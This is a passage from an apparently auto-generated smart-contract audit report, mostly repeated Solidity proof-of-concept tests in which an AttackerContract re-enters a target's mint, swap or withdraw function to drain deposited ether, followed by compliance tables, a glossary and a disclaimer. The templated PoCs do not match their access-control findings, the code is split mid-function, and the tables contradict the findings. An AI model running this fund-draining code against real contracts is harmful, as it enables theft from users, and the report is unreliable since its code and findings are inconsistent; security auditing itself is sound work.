 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Function mint performs privileged operation without access control
 * Severity: High
 * Target Function: mint
 * Generated: 2026-09-04 21:43
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract UnknownReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function mint() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

```

```

// Initial balances
uint256 constant VICTIM_DEPOSIT = 10 ether;
uint256 constant ATTACKER_DEPOSIT = 1 ether;

function setUp() public {
    // Setup accounts
    attacker = makeAddr("attacker");
    victim = makeAddr("victim");

    vm.deal(attacker, 100 ether);
    vm.deal(victim, 10 ether);

    // Deploy target contract
    // target = IVulnerable(deployCode("Unknown.sol"));

    // Deploy attacker contract
    vm.prank(attacker);
    attackerContract = new AttackerContract(address(target));

    // Victim deposits funds
    vm.prank(victim);
    target.deposit{value: VICTIM_DEPOSIT}();

    console.log("=== Setup Complete ===");
    console.log("Target balance:", address(target).balance);
    console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore +
ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");

```

```

        assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
    }

    function test_reentrancy_count() public {
        // Fund attacker
        vm.prank(attacker);
        (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
        require(sent, "Failed to fund attacker");

        // Execute attack
        vm.prank(attacker);
        attackerContract.attack();

        uint256 count = attackerContract.reentrancyCount();
        console.log("Reentrancy count:", count);

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {
        // Reenter if target still has funds
        if (target.balance >= 1 ether && reentrancyCount < 10) {
            reentrancyCount++;
            console.log("Re-entering, count:", reentrancyCount);

            // Call vulnerable function again
            (bool success,) = target.call(
                abi.encodeWithSignature("mint()")
            );
            require(success, "Reentrancy failed");
        }
    }

    function attack() external {
        require(msg.sender == owner, "Not owner");

        // Initial deposit
        (bool depositSuccess,) = target.call{value: 1 ether}(
            abi.encodeWithSignature("deposit()")
        );
        require(depositSuccess, "Deposit failed");

        // Trigger vulnerability
        (bool withdrawSuccess,) = target.call(
            abi.encodeWithSignature("mint()")
        );
        require(withdrawSuccess, "Initial call failed");
    }

    function withdrawStolenFunds() external {
        require(msg.sender == owner, "Not owner");
    }
}

```

```

        payable(owner).transfer(address(this).balance);
    }
}

```

B.15. F-015 - unprotected-privileged-function

Severity: HIGH | **Category:** access_control

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title Unknown Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Function burnFrom performs privileged operation without access control
 * Severity: High
 * Target Function: burnFrom
 * Generated: 2026-09-04 21:43
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract UnknownReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function burnFrom() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

    // Initial balances
    uint256 constant VICTIM_DEPOSIT = 10 ether;
    uint256 constant ATTACKER_DEPOSIT = 1 ether;

    function setUp() public {
        // Setup accounts
        attacker = makeAddr("attacker");
        victim = makeAddr("victim");

        vm.deal(attacker, 100 ether);
        vm.deal(victim, 10 ether);

        // Deploy target contract

```

```

// target = IVulnerable(deployCode("Unknown.sol"));

// Deploy attacker contract
vm.prank(attacker);
attackerContract = new AttackerContract(address(target));

// Victim deposits funds
vm.prank(victim);
target.deposit{value: VICTIM_DEPOSIT}();

console.log("=== Setup Complete ===");
console.log("Target balance:", address(target).balance);
console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore +
ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    uint256 count = attackerContract.reentrancyCount();
    console.log("Reentrancy count:", count);
}

```

```

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {

```

B.16. F-016 - unprotected-privileged-function

Severity: HIGH | **Category:** access_control

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title Unknown Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Function swap performs privileged operation without access control
 * Severity: High
 * Target Function: swap
 * Generated: 2026-09-04 21:43
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract UnknownReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function swap() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

```

```

// Initial balances
uint256 constant VICTIM_DEPOSIT = 10 ether;
uint256 constant ATTACKER_DEPOSIT = 1 ether;

function setUp() public {
    // Setup accounts
    attacker = makeAddr("attacker");
    victim = makeAddr("victim");

    vm.deal(attacker, 100 ether);
    vm.deal(victim, 10 ether);

    // Deploy target contract
    // target = IVulnerable(deployCode("Unknown.sol"));

    // Deploy attacker contract
    vm.prank(attacker);
    attackerContract = new AttackerContract(address(target));

    // Victim deposits funds
    vm.prank(victim);
    target.deposit{value: VICTIM_DEPOSIT}();

    console.log("=== Setup Complete ===");
    console.log("Target balance:", address(target).balance);
    console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore +
ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");

```

```

        assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
    }

    function test_reentrancy_count() public {
        // Fund attacker
        vm.prank(attacker);
        (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
        require(sent, "Failed to fund attacker");

        // Execute attack
        vm.prank(attacker);
        attackerContract.attack();

        uint256 count = attackerContract.reentrancyCount();
        console.log("Reentrancy count:", count);

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {
        // Reenter if target still has funds
        if (target.balance >= 1 ether && reentrancyCount < 10) {
            reentrancyCount++;
            console.log("Re-entering, count:", reentrancyCount);

            // Call vulnerable function again
            (bool success,) = target.call(
                abi.encodeWithSignature("swap()")
            );
            require(success, "Reentrancy failed");
        }
    }

    function attack() external {
        require(msg.sender == owner, "Not owner");

        // Initial deposit
        (bool depositSuccess,) = target.call{value: 1 ether}(
            abi.encodeWithSignature("deposit()")
        );
        require(depositSuccess, "Deposit failed");

        // Trigger vulnerability
        (bool withdrawSuccess,) = target.call(
            abi.encodeWithSignature("swap()")
        );
        require(withdrawSuccess, "Initial call failed");
    }

    function withdrawStolenFunds() external {
        require(msg.sender == owner, "Not owner");
    }
}

```

```

        payable(owner).transfer(address(this).balance);
    }
}

```

B.17. F-017 - unprotected-privileged-function

Severity: HIGH | **Category:** access_control

```

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

/**
 * @title Unknown Reentrancy Exploit PoC
 * @notice Proof of Concept for reentrancy vulnerability
 * @dev Generated by MIESC PoC Generator
 *
 * Vulnerability: Function withdraw performs privileged operation without access control
 * Severity: High
 * Target Function: withdraw
 * Generated: 2026-09-04 21:43
 *
 * Attack Vector:
 * 1. Attacker calls vulnerable function
 * 2. Before state update, external call is made to attacker
 * 3. Attacker re-enters the vulnerable function
 * 4. State is read before previous call completed
 * 5. Repeat until funds drained
 */
contract UnknownReentrancyTest is Test {
    // Target contract interface
    // Replace with actual contract interface
    interface IVulnerable {
        function deposit() external payable;
        function withdraw() external;
        function balanceOf(address) external view returns (uint256);
    }

    // Contracts
    IVulnerable public target;
    AttackerContract public attackerContract;

    // Addresses
    address public attacker;
    address public victim;

    // Initial balances
    uint256 constant VICTIM_DEPOSIT = 10 ether;
    uint256 constant ATTACKER_DEPOSIT = 1 ether;

    function setUp() public {
        // Setup accounts
        attacker = makeAddr("attacker");
        victim = makeAddr("victim");

        vm.deal(attacker, 100 ether);
        vm.deal(victim, 10 ether);

        // Deploy target contract

```

```

// target = IVulnerable(deployCode("Unknown.sol"));

// Deploy attacker contract
vm.prank(attacker);
attackerContract = new AttackerContract(address(target));

// Victim deposits funds
vm.prank(victim);
target.deposit{value: VICTIM_DEPOSIT}();

console.log("=== Setup Complete ===");
console.log("Target balance:", address(target).balance);
console.log("Victim deposited:", VICTIM_DEPOSIT);
}

function test_exploit_reentrancy() public {
    console.log("\n=== Starting Reentrancy Attack ===");

    uint256 targetBalanceBefore = address(target).balance;
    uint256 attackerBalanceBefore = attacker.balance;

    console.log("Target balance before:", targetBalanceBefore);
    console.log("Attacker balance before:", attackerBalanceBefore);

    // Fund attacker contract
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    // Withdraw stolen funds
    vm.prank(attacker);
    attackerContract.withdrawStolenFunds();

    uint256 targetBalanceAfter = address(target).balance;
    uint256 attackerBalanceAfter = attacker.balance;

    console.log("\n=== Attack Complete ===");
    console.log("Target balance after:", targetBalanceAfter);
    console.log("Attacker balance after:", attackerBalanceAfter);
    console.log("Attacker profit:", attackerBalanceAfter - attackerBalanceBefore +
ATTACKER_DEPOSIT);

    // Assertions
    assertLt(targetBalanceAfter, targetBalanceBefore, "Target should have lost
funds");
    assertGt(attackerBalanceAfter, attackerBalanceBefore, "Attacker should have
gained funds");
}

function test_reentrancy_count() public {
    // Fund attacker
    vm.prank(attacker);
    (bool sent,) = address(attackerContract).call{value: ATTACKER_DEPOSIT}("");
    require(sent, "Failed to fund attacker");

    // Execute attack
    vm.prank(attacker);
    attackerContract.attack();

    uint256 count = attackerContract.reentrancyCount();
    console.log("Reentrancy count:", count);
}

```

```

        assertGt(count, 1, "Should have re-entered at least once");
    }
}

/**
 * @title AttackerContract
 * @notice Malicious contract that exploits reentrancy
 */
contract AttackerContract {
    address public target;
    address public owner;
    uint256 public reentrancyCount;

    constructor(address _target) {
        target = _target;
        owner = msg.sender;
    }

    receive() external payable {

```

Appendix C: Files Analyzed

#	FILE PATH	LINES	FUNCTIONS	FINDINGS
1	bridge	0	0	23

Appendix D: SWC Registry Compliance

SWC ID	TITLE	STATUS	FINDING(S)
SWC-101	Integer Overflow and Underflow	☐ Not Found	--
SWC-102	Outdated Compiler Version	☐ Not Found	--
SWC-103	Floating Pragma	⚠ Found	F1
SWC-104	Unchecked Call Return Value	☐ Not Found	--
SWC-107	Reentrancy	☐ Not Found	--
SWC-109	Uninitialized Storage Pointer	⚠ Found	F1
SWC-115	Authorization through tx.origin	☐ Not Found	--

Appendix E: OWASP Smart Contract Top 10

RANK	CATEGORY	STATUS	FINDINGS
SC01	Reentrancy Attacks	☐	0
SC02	Access Control Vulnerabilities	☐	0

RANK	CATEGORY	STATUS	FINDINGS
SC03	Arithmetic Issues	0	0
SC04	Unchecked Return Values	0	0
SC05	Denial of Service	0	0

Appendix F: Glossary

TERM	DEFINITION
Reentrancy	A vulnerability where an external call allows execution to re-enter the calling contract before the first execution completes
Integer Overflow	When an arithmetic operation results in a value larger than can be stored in the variable
Front-running	Exploiting knowledge of pending transactions to gain an advantage
Flash Loan Attack	Using uncollateralized loans within a single transaction to manipulate protocols
Oracle Manipulation	Attacking price feeds or external data sources to influence contract behavior
Access Control	Mechanisms that restrict who can execute sensitive functions

Appendix G: Audit Trail

EVENT	TIMESTAMP	HASH
Contract Snapshot	2026-09-04	N/A
Analysis Started	2026-09-04	--
Analysis Completed	2026-09-04 21:09:46	--
Report Generated	2026-09-04 21:09:46	--
Report Hash	2026-09-04 21:09:46	N/A

Disclaimer

This audit report is provided on an "AS IS" basis without warranties of any kind, whether express or implied. The findings and recommendations represent the auditor's professional opinion based on the scope and methodology described.

Limitations: - This audit does not guarantee the absence of vulnerabilities - Smart contract security is an evolving field - New vulnerabilities may be discovered post-audit - Economic and governance attacks may not be fully modeled - The client is responsible for implementing and testing fixes

Model-Assisted Interpretation Disclosure: Sections labeled as model-assisted were produced using large language models (mistral:latest). These interpretations are supplementary and must be reviewed by qualified security professionals before operational use.

****Powered by [MIESC](<https://github.com/fboiero/MIESC>)** Multi-layer Intelligent Evaluation for Smart Contracts *Report generated: 2026-09-04 21:09:46* *Report Version: 1.0***